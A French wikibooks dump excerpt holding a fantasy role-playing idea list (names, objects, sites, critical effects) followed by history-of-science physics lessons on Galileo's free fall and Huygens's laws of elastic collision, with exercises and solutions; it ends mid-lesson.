*Cirax *Bergli *Lisam *Berglos *Iranka *Hermid *Dermak *Kirine *Alunias *Pergan *Derga *Sulanka *Bargas ==Noms de livres== *Les Aventures de Voldorn Astondar *Traité d’astronomie *Le Bestiaire *Necronomicon *La Chasse *Vanolix *La vie en Orxorn *Dalius et ses habitants *Fables de Riverix *Traité des principes de la magie *Miricol *Histoire de Sarn, l’île engloutie ==Objets divers== *douche à baril *clepsydre *tablettes couvertes d’oghams *cornet *jeu de darts *boîte à musique magique *filet *équerre *conque *coquillage *faluche *fourche *trophée *foret *havresac *haubert *heaume *hotte *archibanc *buffet *coiffeuse *auge *bouteille *longue-vue *odèle réduit *animal empaillé *crâne *mâchoire de requin *réticule *sarcophage *plantes séchées *canne-épée *dés *cartes *noir pour épée *peau d’ange *masque ==Objets spéciaux== *bracelet servant à dissimuler une dague et à la sortir rapidement *flèche : à croissant de lune, à filet, à tranchet, d’argent, avec boule de plomb, à pointe de serpent ou barbelée, à tête sifflante, à feuille de laurier (+ percer armures), à pointe simple (tir à la cible) ==Rencontres== *Corruption = un soldat reçoit un pot-de-vin *Attaque de nuit, par l’arrière *Marchand d’esclaves, vente d’esclaves sur la place du marché *Attaque-surprise : brigands crient « La bourse ou la vie! » (jet d’observation = permet de voir traces qui mènent buissons) *Coincé dans ruelle en sandwich par brigands ==Sites fantastiques== *arbre qui parle *bateau fantôme *bateau volant *cage de croisée de chemin *catacombes *champ de bataille *château de glace *château *manoir ou tour des puissances occultes *cimetière *cimetière de bateaux *cimetière vivant *civilisation technologique (ne connaît pas la magie) ou technomagique *donjon, eden des glaces, eldorado *fissure noire (ou trou noir) *fontaine de jouvence *forêt noire (nuit) *geyser *jardin aux trésors (ce qui y est laissé devient magique) *île des amazones *île-cimetière des anciens rois, *île des hommes des cavernes *île des hommes-géants *île des petits-hommes *île des pirates *île des prisonniers *îles des sacrifices (pour que l'île ne soit pas engloutie) *île du temps ralenti (le temps s'écoule différemment par rapport à l'extérieur) *île qui dérive *île sans combat (si le sang y est versé, elle coule) *labyrinthe *lac d'acide *lac empoisonné *lac qui ne sustente pas *lac salé, lieu anti-magie *lieu hanté *lieu maudit *lieu saint, bénit *manoir de la comtesse Sanglante *mine *monastère *monde souterrain *mur de brouillard (ou voile de brume) *mur de force (ou champ de force) *mur des lamentations (noms de morts le recouvrent) *mur invisible *muraille géante *passage dans le temps *pont payant (bandits) *pont souterrain (passage sous-marin entre îles) *portail des mondes *puit de feu (pétrole) *ruines *sables mouvants (sable) ou trous sans fond (terre) *sculpture géante (golem géant, mont Rushmore...) *tour *trou du brouillard mystérieux *triangle des Bermudes *ville des illusions (de l'illusion) *ville engloutie *ville-fantôme (abandonnée) *ville flottante (airs) *ville invisible *ville où tous les habitants ont soudainement disparu *ville sous dôme (pour se protéger) *ville souterraine *volcan ==Effets critiques== *Impossibilité momentanée et mutuelle des adversaires d’utiliser leurs armes *Changement momentané du bonus de toucher *Changement momentané du bonus de protection *Arme hors d’usage momentanément (coincée, etc.) *Changement au bonus de dégât momentané *Arme hors d’usage de manière pour la durée du combat (désarmée, cassée, etc.) *Coup sur ami *Coup sur soi *Critique sur ami *Critique sur soi *Mutilation temporaire : boitillement, déplacement réduit, malus au dégât, malus au toucher, incapacité de se déplacer *Mutilation permanente : cicatrice, oreille perdue, doigt perdu, boitillement, œil crevé, problèmes de concentration (à la suite d’un coup à la tête), déplacement réduit, malus au dégât, malus au toucher, mutisme (à la suite d’un coup à la gorge), membre perdu, incapacité de se déplacer *Mort différée *Mort immédiate Image:Varlog yearly 1.png 8713 45390 2006-06-22T12:28:22Z Rortalo 1615 Evolution de l'occupation d'une partition sur un an. Evolution de l'occupation d'une partition sur un an. Image:Message monthly 1.png 8714 45391 2006-06-22T12:29:10Z Rortalo 1615 Evolution de la taille du fichier de traces sur un mois. Evolution de la taille du fichier de traces sur un mois. Blender 3D: du débutant au pro/Didacticiel de syntaxe 8715 45688 2006-06-25T06:50:48Z Guillaumito 46 correction double redirection #REDIRECT [[Blender 3D: du débutant au pro/Syntaxe du didacticiel]] Blender 3D: du débutant au pro/Syntaxe du didacticiela 8716 45411 2006-06-22T16:53:01Z Antho2704 1258 [[Blender 3D: du débutant au pro/Syntaxe du didacticiela]] déplacé vers [[Blender 3D: du débutant au pro/Syntaxe du didacticiel]] #REDIRECT [[Blender 3D: du débutant au pro/Syntaxe du didacticiel]] Mecanique, enseignée via l'Histoire des Sciences, la chute libre (Section 1) 8718 46507 2006-06-29T15:35:50Z Guerinsylvie 928 /* solutions,deuxième série : */ == Leçon : la chute libre verticale des corps == === Expérience=== Soit un plomb, P, soutenu par une ficelle mince. On le laisse bien au repos, au ras du sol. On marque à la craie la position au sol , disons A . Le plomb est relevé de 2m environ , bien à la verticale de A en un point O. Il est immobile en O . On brûle la ficelle. Le plomb tombe de O en A , selon un mouvement dit de chute libre verticale , dans l'air, qui évidemment perturbe le mouvement en le ralentissant. Galilée( 1564-1642) eût l'idée, géniale pour l'époque, d'imaginer ce mouvement à la limite où il n'y aurait pas d'air ! Le plomb tomberait alors dans le vide : c'est la chute libre verticale! Aujourd'hui, on sait faire cette expérience dans un tube privé d'air (grâce à une pompe aspirante). On a des caméras pour enregistrer le mouvement. On peut refaire l'expérience à loisir avec d'autres dispositifs. [note : à l'époque , penser le vide était assez révolutionnaire ; Galilée lui-même n'y croyait pas trop ; son élève Torricelli(1609-1647) le mit en évidence dans la "chambre barométrique" en 1644] L'expérience confirme LA LOI de GALILÉE : exprimée en notations modernes, elle dit : Le plomb se meut selon la loi : {{exemple|Enoncé|La loi de Galilée pour le plomb|<math>{OP} := z(t) = \frac{1}{2} g t^2</math>}} . La courbe expérimentale donne la valeur de g , appelée accélération de la pesanteur. Elle varie selon les points où l'on fait l'expérience. A Paris, on prend usuellement la valeur g = 9.81 m/s². *On peut calculer la dérivée première de z(t), pour trouver la vitesse instantanée du mobile. Elle croît linéairement avec le temps. {{exemple|Enoncé|loi de Galilée pour une plume dans le vide| <math> V(t) : = \frac{dz}{dt } = g \cdot t</math>}} *On peut calculer enfin la dérivée de la vitesse , l'accélération (a) qui se trouve être constante et égale à g : {{exemple|Enoncé|loi de Galilée pour l'uranium|<math> \frac {d^2z}{dt^2} = g</math>}} . *Il y a dans cette Loi de Galilée, deux Lois: *1/.Le mouvement a une accélération constante : on dit qu'il est uniformément accéléré. *2/.Une chose extraordinaire, peu crédible mais pourtant vraie : la loi ne dépend pas du plomb, ni de l'uranium ! on peut prendre une pierre, un sac lesté de plomb , de sable ou de papier , ou de polystyrène , et même une plume : Newton a pu faire cette expérience approximativement, car à son époque, on savait faire "assez bien" le vide dans un tube de verre de 2m de long. La plume tombe exactement de la même manière que le plomb ! Oser affirmer cela en 1638 était prodigieusement audacieux ! L'expérience a été faite sur la Lune (qui n'a pas d'atmosphère) en 1969 ; le résultat reste exact ; sauf que la pesanteur sur la Lune est plus petite ( environ g/6). On verra dans une prochaine leçon, l'influence de l'air. Evidemment, ce qui est le plus curieux dans cette loi est que ni la masse ni la densité du corps n'intervient: ceci paraît absurde : le vide tombe-t-il dans le vide ? la lumière tombe-t-elle dans le vide ? et l'air, pourquoi ne tombe-t-il pas ? *On voit bien que cette loi , une des toutes premières énoncées en physique soulève pour qui accepte cet énoncé , en étant éveillé, une foule de gedanken-questions, qu'il faudra peu à peu résoudre. *remarque: en réalité , le pivotement de la Terre en un jour sidéral provoque une minime déviation vers l'Est ; il en est fait état ici , mais la théorie en sera faite bien après ce cours élémentaire initial. ==Résumé== La loi de la chute libre verticale est : {{exemple|Enoncé-simplifié|loi de Galilée(1564-1642)|<math> \frac {d^2z}{dt^2} = g +[CI :(0,0)] <=> v : = \frac{dz}{dt} = gt+0 <=> z =\frac{1}{2}gt^2 +0t+0 <=> v^2 = 2gz</math>}} Sans perte de généralité. On peut remonter aux CI( Conditions Initiales) générales:(Zo,Vo) : <math>z(t) = z =\frac{1}{2}gt^2 + V_0t + Z_0</math> ==Exercices == On prendra g = 10 m/s² approximativement. 1/. Trouver la hauteur de chute si le temps de chute est 2s . [Réponse : h = 1/2 . 10 . 4 = 20m ! et la vitesse à l'arrivée est v= 20m/s soit 72km/h] . 2/. Eliminer le temps entre z(t) et v(t) pour trouver la relation dite de Torricelli(1608-1647) ,[élève de Galilée(1564-1642)]: v² = 2g.z (c'est la quatrième formulation de la loi , dans le résumé). En déduire la compréhension du slogan de la Sécurité routière : arriver sur un obstacle à 36km/h "c'est comme" chuter de 5m ( 2ème étage environ), mais à 72km/h , c'est comme chuter de 20m! Il FAUT ceinture et air-bag. Montrer plus généralement que V² -Vo² = 2g (z-zo) [ loi de Torricelli(1608-1647) : voir exo7 (je déteste les exocets et tout armement) 3/.**(*signale un exercice plus difficile) Principe de Galilée : Galilée défendit la thèse que si on se déplace dans un bateau à la vitesse constante Vo, alors on ne pouvait pas s'en apercevoir à l'intérieur du bateau ; on pourrait continuer à jouer au ping-pong, à faire de la GRS , etc. RIEN ne permet de distinguer le mouvement du bateau. "Un mouvement uniforme , c'est comme RIEN ". Familièrement, on dirait aujourd'hui, ça compte pour du beurre. Torricelli est le premier à avoir appliqué ce principe à la chute libre [ Note historique : il l'a signalé à Castelli(1577-1644) , qui en rendit compte à Galilée. Galilée , très admiratif, demanda à Torricelli(1608-1647)de devenir son élève, en 1641]. Montrer alors qu'il est normal d'obtenir pour le mouvement vertical avec vitesse Vo au départ : z(t) = 1/2.g.t² + Vo.t +Zo ; et que cela reste toujours valable à n'importe quelle altitude. 4/. Expérimentation(*): Une caméra prend des photos à des tops réguliers. Une règle verticale photographiée en même temps que le plomb donne 3 valeurs z1, z2 et z3 pour des temps t1, t2 = t1 + tau , t3 = t1 + 2tau .Montrer que , quel que soit t1 et tau , [(z3-z2)/tau - (z2-z1)/tau]/tau = g . En déduire une manière de mesurer g avec avantage. La réciproque est-elle vraie(**) : si l'accélération discrète est constante, le mouvement discret est-il celui de Galilée? Enfin, on pourra montrer que V(z1)+V(z2) = 2 (z2-z1)/(t2-t1); c'est à dire la vitesse moyenne entre t1 et t2. Historiquement, c'est avec cette seule quantité qu'a raisonné Galilée! 5/.(*) Pour avoir la hauteur H d'un puits , on y laisse tomber un caillou au temps t = 0 ; on entend le son au temps T : trouver la hauteur H ( on appellera c , la célérité du son). 6/.(*) On lance une pierre P vers le haut. Elle atteint la hauteur H . Juste à cet instant , on lance une deuxième pierre Q de la même manière. De tête, où les 2 pierres se rencontrent-elles ? === Solutions === 3/. Torricelli fit le raisonnement suivant : si le mouvement d'un corps chutant au départ comme z = 1/2.g.t² est avec une nouvelle origine des temps, z = 1/2.g.t² + Vo.t +Zo = f(t, Zo, Vo) , alors un instant T1 plus tard , il sera en Z1 = f(T1, Zo, Vo) avec la vitesse V1 = g.T1 + Vo. Puique la vitesse V1 joue à cet instant le même rôle que Vo à l'instant t=0 pris pour origine, Torricelli dit que : z= f(t+T1, Zo, Vo) = f(t,Z1, V1), avec la même fonction f(x, y , z), soit : 1/2 g (t+T1)² + Vo.(t+T1) + Zo = ? = 1/2 g.t² + V1.t + Z1 , avec V1 = g.T1 + Vo et Z1 = 1/2 g.T1² + Vo.T1 + Zo : Il apparaît que Zo se simplifie ainsi que Vo.t , puis Vo.T1 . Il reste à verifier : 1/2 g (t+T1)² = ? = 1/2 g.t² + g.T1.t + 1/2 g.T1² , ce qui est vrai. Mais ce n'est pas la réponse demandée ! bien que cela soit perçu par beaucoup d'étudiants comme la bonne réponse ! le calcul est en effet pertinent et exact; mais il ne répond pas à la question ! - - - En effet, Torricelli a dit plus : Il a admis que z = f(t, Zo, Vo) = h(t)+ Zo + Vo.t : il a donc SCINDÉ le rôle de l'origine et celui de la vitesse initiale ! D'une fonction de trois variables , il est passé à une fonction h(t) d'une variable ! ce faisant, il a admis comme évident ce qui n'est vrai que pour la pesanteur : un point Z1 plus bas, c'est la même loi : a = g. z = h(t+T1) + Zo + Vo.(t + T1) = h(t)+ Z1 + V1.t , ceci quel que soit t , avec Z1 = h(T1) + Zo + Vo.T1 , et avec V1 = h'(T1) + Vo (exprimé en formalisme moderne). Ce qui conduit à l'équation fonctionnelle: h(t+T1) = h(t) + h(T1) + h'(T1).t , pour tout t et pour tout T1. Alors , par symétrie de rôle de t et de T1 , on peut écrire : h(t+T1) = h(T1) + h(t) + h'(t).T1 ce qui conduit à h'(t).T1 = h'(T1).t et donc h'(t)/t = h'(T1)/T1 = cste donc , et appelée ...g ! La vitesse ne pouvait être que linéaire en t , si on prend l'origine du référentiel galiléen tangent à l'instant de départ , donc avec une vitesse nulle ! Remarquable raisonnement , d'autant que Torricelli, lui, n'a raisonné qu'avec la notion de vitesse moyenne sur une durée, ce qui a été un peu plus difficile à exprimer. Au final, si h'(t) = g.t , h(t) = 1/2.g.t² : Rappelons ce qui a été utilisé : l'invariance galiléenne et l'invariance du mouvement par translation ( ce qui revient à dire : pesanteur constante). Il est évident que Galilée fût ravi d'un élève aussi doué ! - - - - - 4/. la vitesse Vo n'intervient pas d'après l'exercice 3/ : cela se vérifie d'ailleurs aisément. Il reste en prenant t2 comme origine, z3-2z2+z1 = 1/2.g[(t2+tau)² -2(t2)² + (t2-tau)²] = 1/2. g [ 2tau²]. On appelle dérivée discrète seconde au point z2 , la quantité (z3-2z2+z1)/tau² . On constate qu'elle vaut g , ceci quel que soit z2 et tau ! Ceci permet d'intéressantes comparaisons expérimentales et permet de valoriser certains TP( travaux pratiques). Admettons par exemple que la caméra donne 25 photos sur une seconde (soit une chute de 5m devant une règle graduée): en prenant les dérivées discrètes, on obtient 24 valeurs qui décroissent (parce que la résistance de l'air croît avec la vitesse, comme le carré de v²). Avec un logiciel de traitement de données , on rétablit les correctifs en examinant toutes les dérivées discrètes possibles soigneusement. Les résultats d'une classe ( 2 *2* 12 élèves ) sont honnètes et valent bien le résultat du pendule de Kater. - - (**)Réciproquement, une suite récurrente z(n+1) = 2 z(n) - z(n-1) + Go(tau)² est effectivement une suite du type z(n) = ½Go (n.tau)² + A (n.tau) + B Actuellement, cette méthode est utilisée mais en faisant tomber le coin de cube d'un Michelson: les franges défilent et sont enregistrées. On arrive à une précision relative de 12 ChS( chiffres significatifs), depuis la mise au point du dispositif par Sakuma, en 1970, au BIPM (Bureau International es Poids et mesures , installé à Saint-Cloud).les gravimètres genre sakuma sont couramment utilisés. La gravimétrie est donc devenue une science très précise, utilisée par les géologues. - - - - - 5/. On aura le temps de chute t1 tel que H = ½ g t1² et H = ct2 ; soit T = sqrt(2H/g) + H/c , équation du deuxième degré en sqrtH = x > 0 ; soit x² + x. sqrt(2c²/g)-cT = 0 et l'on prend la racine positive. On peut aussi écrire cette même équation H = ½g [T-H/c]² ; si c est "assez grand" , on aura H = ½gT²(1-eps) avec eps = gT/c .( on a vu qu'un puits de 20m donnait gT = 20m/s << c = 330m/s . Remarque(**): la correction due à la résistance de l'air est trop importante. On majore beaucoup la profondeur du puits. - - - - - 6/.Tracer le diagramme horaire z(P,t) et celui z(Q,t) : par intersection , la rencontre a lieu à T/2 et le résultat devient évident :[Réponse : rencontre à z =3/4 . H]. ==Exercices, deuxième série== 7/.(*)Loi de Torricelli : montrer qu'en choisissant une origine Xo où la vitesse initiale est Vo , la loi de Galilée-Torricelli s'écrit : {{exemple|Enoncé|loi de Galilée-Torricelli|<math> V^2 -V_0^2 = 2g (z-z_0)</math>}}. 8/.(**) Marin Mersenne (-1648) [un des plus célèbres correspondants scientifiques de l'époque] n'arrivait pas à comprendre la loi V = g.t , car disait-il, si V = 0 au départ , le plomb ne peut pas avancer ! Huygens( à 16ans!) lui répondit. Imaginer sa lettre de réponse. ---------------------------------------------------------- 9/.(**) Même si l'on ne connaît rien aux travaux d'Einstein, on sait que c'est lui qui a dit : aucun corps matériel ne peut dépasser la vitesse c . En déduire que la loi de Galilée ne peut être juste aux grandes vitesses. (Dans une prochaine leçon , cela sera étudié et la loi de Galilée sera corrigée en loi de Galilée-Einstein). ------------------------------------------------------------- 10/.(**)La loi de Galilée dans son deuxième énoncé semble absurde : quelle que soit la masse du corps, le corps tombe de la même manière dans le vide ! Question 1 : le vide tombe-t-il dans le vide ? Question 2 : la lumière(c'est-à-dire un photon) tombe-t-elle dans le vide? Question 3 : l'air tombe-t-il ?. ____________________________________________________________ ===solutions,deuxième série :=== 7/. Il s'agit d'éliminer t entre Z= Zo + 1/2 gt² + Vot et V = Vo + gt : la deuxième équation donne t= (V-Vo)/g et l'on reporte dans la première. Les calculs se simplifient et donne la loi générale de Galilée-Torricelli . Remarque : de nos jours , cela est facile. Galilée n'a jamais su le faire, et Torricelli a eu un discours très tortueux pour arriver à cette loi ; bien sûr dans ce temps, les dérivées n'existaient pas! 8/.Dès que j'ai la photocopie , je la recopie in extenso : on pourra juger du caractère des messages épistolaires de l'époque. Essentiellement, le jeune Huygens répondit que la loi générale était V = Vo + gt , même si Vo est négatif ( la pierre est lancée vers le haut) : la loi est tout aussi vraie , mais c'est une loi affine dans ce cas, avec vraiment rien de particulier au moment où V(t) = Vo. Au sommet de la parabole du diagramme horaire, il ne se passe strictement rien de particulier, même si ce point a fait l'objet de spéculations intellectuelles très passionnées. Voici la lettre ( de Christiaan Huygens(1629-1695) à Marin.Mersenne,[28 octobre 1646]: ...vous dites en premier lieu que tout grave n'est pas capable de recevoir un mouvement si vite que soit celui du corps qui serait descendu d'une lieue de haut. Je ne puis pas confentir a cela, et m'en rapporte à la Philofophie de Monsr. des Cartes, qui entre autres loix de la nature a remarqué cellecy, a fcavoir que toute chofe continue fon mouvement de la mefme viteffe que luy a esté donnée une fois, si quelque aucre chofe ne l'empefche; si donc là où il n'y avoit point d'air ni autre empefchement nous fuppofions quelq'un qui avec un arc tiroit deux flefches à la fois, l'une de bois pefant et l'autre de paille ou chofe femblable, il eft manifefte qu'elles iroient de vitesse efgale, à fcavoir de celle qu'avoit la chorde de l'arc en retournant en fa premiere posture, et ne ceflèroyent jamais, car il n'y a caufe imaginable qui les arrefteroit; je dis donques que tout corps eft capable de quelconque vitesse, et que ce que la paille et la laine tirees hors d'un Canon tombent tout court, ne procede d'autre chofe que de l'empefchement de l'air. La feconde objection eftoit, que pour garder in vacuo les proportions des nombres 1, 3, 5,7,il eftoit necessaire que le grave tombaft par tous les degrez de tardité ec que cela n'elloit point, à caufe que la pierre avoit au commencement de fa cheute defja une certaine vitesse. Je dis que fans doute elle passe par tous les degréz de tardite, er qu'elle a eu moindre vitesse que quelconque vitesse donnee. Car foit donnee la balle de plomb A qui roule fur le plan horizontal AB de B vers A avecq foit peu de vitesse contre le bras de la balance DCA, dont C eft le point fixe, il eft evident que le poids F. lié de la corde FED qui passe par dessùs la poulie, peut eftre fi peu pefant quc la balle A le pourra leuer quelque peu. Or tel eft le principe fur lequel eft fondee ma raifon, que fi la gravite P en commencant fa cheute passe en certain temps par l'efpace PS, et au temps fuivanc par l'efpace SR; et que la mefme en un autre temps du com- mencement de sa chute paffe par l'efpace PV, et au temps fuivant par l'efpace VM; et que le temps de la chute par l'efpace PS foit au temps par SR comme le temps par PV au temps par VM; que alors l'efpace PS est à SR comme PV à VM. Comme par exemple, si une pierre en tombant passe au premier minute de fa cheute un pied de mefure, et au fecond minute 5 pieds; que la mefme pierre parce qu'aux deux premiers minutes elle a donc passé 6 pieds, aussi aux deux fuivants minutes elle en passera 30; car 1 eft a 5 comme 6 à 30. Cecy eftant concedé, foient passés en egals temps les efpaces AB, BC, CD, etc. il eft donc manifefte que comme l'efpace AB à BC, ainfi est l'efpace AC à CE, et AD à DG. Car comme le temps par AB a efté egal au temps par BC ainsi le temps par AD a esté égal au temps par DG. Voions a cette heure s'il ij a quelque progreffion Geometrique, que puif- fent avoir les efpaces AB, BC, CD etc, passés en temps efgaux. Soit donc l'efpace AB ~ a BC ~ b ; fi c'est donc une progreflion Geometrique CD fera ~b²/a et aussi DE ~ b^3/a²; mais il éft neceffaire par le principe fufdit que comme AB à BC aussi AC est à CE Donc le reftangle AB* CE doit eftre efgal au reftangle BC* AC , soit : b²+b^3/a ~ ab +b² , d'où a ~b De cette Analyfe s'enfuit que les dits efpaces ne peuvenc eftre en aucune progreffion Geomecrique que de l'efgalité. L'opinion donc que de ceux qui difent, qu'ils font en la progreffion 1, 2, 4, 8 est fort rîdicule. Car par exemple, pofons que le poids N passe au premier temps par l'efpace N0, 1, au fecond OP 2, au 3me PQ 4, au 4me QR 8 : Et prenons a cette heure les deux premiers temps auxquels il a paffé par l'efpace NP, pour le premier; ayant doncque passé au premier temps par l'efpace NP 3 (car N0 1, et OP 2, font 3) il paffera au fecond temps a fcavoir au 3me et 4me, felon leur progreffion 6, mais au 3me et 4me il a passé par l'efpace PR 12 (car PQ 4 ct QR 8 font 12), il faudrait donc que 6 fust esgal à 12; ce qui est absurde. Voions donc s'il y a quelque progression arithmétique en la quelle les espaces puisent estre. Que le poids L aye pasé au premier temps par l'espace LM~a , au second MN a+x , au troisième NO a+2x , au quatrième OP a +3x ; il faut donc selon mon principe que comme LM à MN [ a à a+x] alors ainsi LN à NP [2a+x à 2a+5x] soit LM*NP [2a²+5ax] ~ MN*LN [2a²+3ax+x²] d'où 2ax ~ x² puis 2a ~ x. Nous avons doncq trouvé la progreffion arithmetique en laquelle font les dits espaces, car x étant trouvé égal à 2a, alors MN sera 3a, NO 5a et OP 7a : il n' y a point d'autre solution. [Suit la démonstration que la suite 1.2.3.4 est absurde ] Enfin remarquons que la suite 1.3.5.7.9.11 est au contraire logique, puisque 1et3 donnent 4 comme 5et7 donnent 12 et 1et3et5 donnent 9 comme 7et9et11 donnent 27, etc. Voilà ! Ce garçon-là a 17 ans ! et en prime, sa lettre se finit par : je vous enverrai qu'une corde pendue ne fait point une parabole, ou bien qu' il faut charger la corde différemment que de son propre poids [ce sera la lettre de Novembre 1646 , sur la chaînette . Gaudi l'a-t-il jamais lue ?]! A vous maintenant de commenter cette lettre en discussion. 9/. avec v= gt , la vitesse est v=c au temps c/g , soit 3.10^7 s , c'est à dire environ un an. Mais la loi continue et donc v dépasserait c : contradiction avec Einstein, et l'expérience valide Einstein. On verra que la loi de Galilée-Torricelli sera légèrement modifiée : {{exemple|Enoncé|loi de Torricelli-Einstein(1879-1955), modification de 1905|<math> \gamma(V) \cdot c^2 -\gamma(V_0)\cdot c^2 = g (z-z_0);avec, \cdot \gamma(v) : = \frac{1}{\sqrt{1 - \frac{V^2}{c^2}}}</math>}}. On retrouvera ce résultat dans une très prochaine leçon ( Expérience de Bertozzi). - - - - - ----------------------------------------------------------------------------------------- ---------------------------------------------------- 10/. Oui ! ce sont des questions un peu shadok ! Question 1 : je ne sais pas vraimentrépondre ! En gros, il faut répondre que si le vide possède une impulsion , pourquoi pas ? mais comment mettre ceci en évidence dans un espace vide ! C'est très métaphysique : restons sceptiques.[Astrid Albrecht(LKB) aurait , sans doute, une réponse plus circonstanciée]. Question 2 : elle est pertinente : oui , la lumière tombe dans le vide : c'est ce qui est donné comme réponse en (9/.), et ce n'est pas sa vitesse qui change , puisqu'elle reste immuable : c = 299 792 458m/s. Mais son impulsion , donc son énergie (donc sa fréquence change) : cet effet s'appelle le "red-shift gravitationnel d'Einstein" et est parfaitement vérifié aujourd'hui ( il faut en tenir compte dans l'envoi des signaux GPS, sous peine de voir la qualité des résultats être entâchée d'une erreur systématique).Nous reverrons ces calculs un peu plus tard. Question 3 : oui bien sûr , une molécule de dioxygène tombe. Si l'air globalement ne tombe pas , c'est qu'il est déjà tombé depuis longtemps : on sait bien que l'air est situé essentiellement à basse altitude ; mais précisément comme il y en a plus en bas qu'en haut, la diffusion thermique en fait plus remonter du bas vers le haut que du haut vers le bas ; ce que nous voyons est l'équilibre dynamique stationnaire entre ces deux phénomènes : la chute et la diffusion globale vers le haut. Cette question sera parfaitement résolue plus tard, numériquement. Voilà ces questions à la Faraday, que l'on aimerait bien voir poser par les étudiants: être curieux d'esprit et interroger sans relâche ce qu'énonce une loi dite fondamentale. Mécanique, enseignée via l'Histoire des Sciences, le choc frontal ( Section2) 8719 46572 2006-06-29T21:37:02Z Guerinsylvie 928 /* Exercice pendules de Kircher/. */ Leçon : le choc frontal : lois de Huygens(1629-1695) == Introduction et notation == Cette leçon ne fait pas partie du cours de cinématique; mais historiquement, elle a joué un rôle très important dans la formation conceptuelle de la mécanique.Elle constitue aussi une source d'exercices conséquente. Galilée s'en préoccupe, mais sans arriver à conclure ( ce qui se passe lors de la percussion est un obstacle expérimental très difficile). Descartes introduit le concept fondamental : quand un corps ponctuel se déplace, son action ultérieure va dépendre non seulement de sa vitesse mais aussi de sa masse : cela est bien clair , lorsque l'on reçoit un projectile ; mais quelle quantité choisir mv², mv^3 , m²v^5 ? il choisira mv : NOUS NOMMERONS cette quantité l'IMPULSION ( ou quantité de mouvement) et NOUS LUI AFFECTERONS une unité : le kg.(m/s) := le descartes := 1N.s Ainsi, une masse de 8 kg à la vitesse de 10 m/s possèdera une impulsion de 80 descartes. Huygens reprendra les travaux de Descartes et les corrigera. Il aboutira à une belle théorie dès 1654 ( mais ne la publiera pas ; c'est un trait caractéristique du XVIIème siècle ; on note par un anagramme la découverte), et cela le rendit célèbre dans ses tournées-démonstrations , à Paris décembre 1659 , à Londres janvier 1660 . Mais voyant que l'architecte -mathématicien Wren a trouvé aussi la solution sous forme d'une épure très élégante, Huygens se décide à publier ses travaux . Leibniz( - )les reformulera . Puis NEWTON (1642-1725) publiera dans les Principia(1687) la théorie complète. == Expérience princeps == Lors d'un choc élastique de deux masses, l'idée est: si l'on connaît leur impulsion before le choc <math> [P_1^b,P_2^b]</math>, trouver leur implusion after le choc <math> [P_1^a,P_2]^a</math>. On considère le '''cas le plus simple''', suivant en cela la philosophie cartésienne: deux boules égales avec des vitesses opposées donc des impulsions opposées <math> [P_1^b = P ; P_2^b = -P]</math>: assez intuitivement, "par symétrie", Descartes admet la loi : after le choc, les deux boules repartent avec des impulsions dans l'autre sens : <math> [P_1^a = -P ;P_2^aP]</math> Alors Huygens fait jouer le principe de relativité de Galilée. Le MEME PHENOMENE est décrit par un observateur de vitesse constante Vo comme ceci : La boule B1 avait l'impulsion m(V-Vo) , la boule B2 avait l'impulsion - m(V+Vo) ; after le choc, B1 repart avec l'impulsion (m(-Vo-V) et B2 avec l'impulsion m(V-Vo) . Et ceci est valable, QUEL QUE SOIT Vo ! Soit réécrit : <math> [ P1 ; P2]</math> => <math> [ P2 ; P1 ]</math> : les boules échangent leur impulsion, c'est LA règle pour des boules de même masse. En particulier , si Vo = -V ! Alors la conclusion est spectaculaire et tout le monde l'a vue à la pétanque : B2 est immobile, B1 vient la percuter avec la vitesse 2V : après le choc B1 est IMMOBILE et B2 part en arrière avec la vitesse 2V : c'est ce qu'on appelle "faire carreau parfait" :<math> [ P1 ; 0]</math> => <math> [ 0 ; P1 ]</math> Le cas du carreau parfait se déduit donc du choc symétrique, via le principe de relativité galiléenne. == Expérience m1 =3m et m2=m == Si les masses sont inégales , le problème est plus difficile. [Note expérimentale : Le dispositif expérimental utilise des bancs à coussin d'air sur lesquels glissent sans frottements des chariots-cavaliers de masse différente. On peut aussi s'affranchir de ce matériel assez onéreux par une construction soigneuse de pendule "en translation" : une planchette possède sur son épaisseur quatre crochets symétriques ; 2.2fils assurent la suspension . On clampe alors sur la planchette un fort aimant permanent en ferrite. Le tout sera orienté dans le sens du champ magnétique terrestre On fabrique deux de ces planchettes . Et on les surcharge de la façon que l'on veut. Si on monte la planchette B1 de H , alors passant à la verticale elle aura la vitesse sqrt(2gH) , cela était connu de Torricelli , donc de Huygens. Comme les aimants permanents se repoussent sans "consommer d'énergie", on est placé dans des conditions quasi-idéales ( à la résistance de l'air près. De plus , avec des fils de 1m et des masses de 1kg , les oscillations durent longtemps), et on est prêt à expérimenter]. On peut organiser le TP-Cours suivant : donner la relation de Kircher pour guide de départ. Laisser alors expérimenter. '''Guide de Kircher''' : on conçoit que la plus massique l'emporte, et si on veut que B1 et B2 repartent avec des vitesses égales et opposées , il faut donner quelque vitesse supplémentaire vers la gauche au barreau B2 : laquelle ? la réponse, trouvée par tâtonnement par Kircher ( 1602-1680) fût : il découvrit que si B1 était immobile et qu'il lançait B2 avec la vitesse -2V , alors B1 reculait à la vitesse -V et B2 se trouvait rejetée à la vitesse +V.[En fait il utilisait la règle de Torricelli : B2 était lâchée de 4H , et on constatait que B1 et B2 remontaient chacune de H] Alors symboliquement cette expérience s'écrit: [3m*0 ; m(-2V)]before => after[3m(-V) ; mV]. On remarque très vite que le problème est LINEAIRE en V , donc inutile de procéder avec de grandes vitesses ( on travaille mieux avec des amplitudes petites). Huygens , utilisant le principe de Galilée, généralisa en [3m(-Vo) ; m(-2V-Vo)]before => after [3m(-V-Vo) ; m(V-Vo)] , quelle que soit Vo ! Et donc le "carreau" était obtenu pour [3m.(2V) ; 0]before => [3m.V ; m.3V] (On a utilisé le changement d'axe x/-x ), ce que l'expérience confirme : cela se traduit en hauteur des barreaux par [4H ; 0 ] => [H ; 9H] ; comme 3mg.4H = 12mgH et 3mgH + mg.9H = 12 mgH , on voit que "l'énergie se conserve" [les élèves ne savent pas ce qu'est l'énergie, mais ce "principe" de Torricelli leur semble "assez naturel" ]. == Généralisation== Pour Huygens, la généralisation lui vînt de la considération de la vitesse Vo = -V/2 : dans ce cas : before , [P1 = 3mV/2 ; P2 = -3mV/2] =>after [P1=-3mV/2 ; P2 = +3mV/2] ; soit différemment écrit : before[P ; -P] => after [-P ; P]. Et il se dit que c'était là peut-être la loi généralisable à toutes les masses : {{exemple|Enoncé|loi du choc élastique de Huygens(1619-1695)|<math> [ P ; -P]_{before} => [-P ; P]_{after}</math>}} Et en appliquant le principe de relativité de Galilée , [P + m1.Vo , - P + m2.Vo]before => after[-P +m1.Vo ; P +m2.Vo ] , ce qui englobe tous les cas possibles , puisque 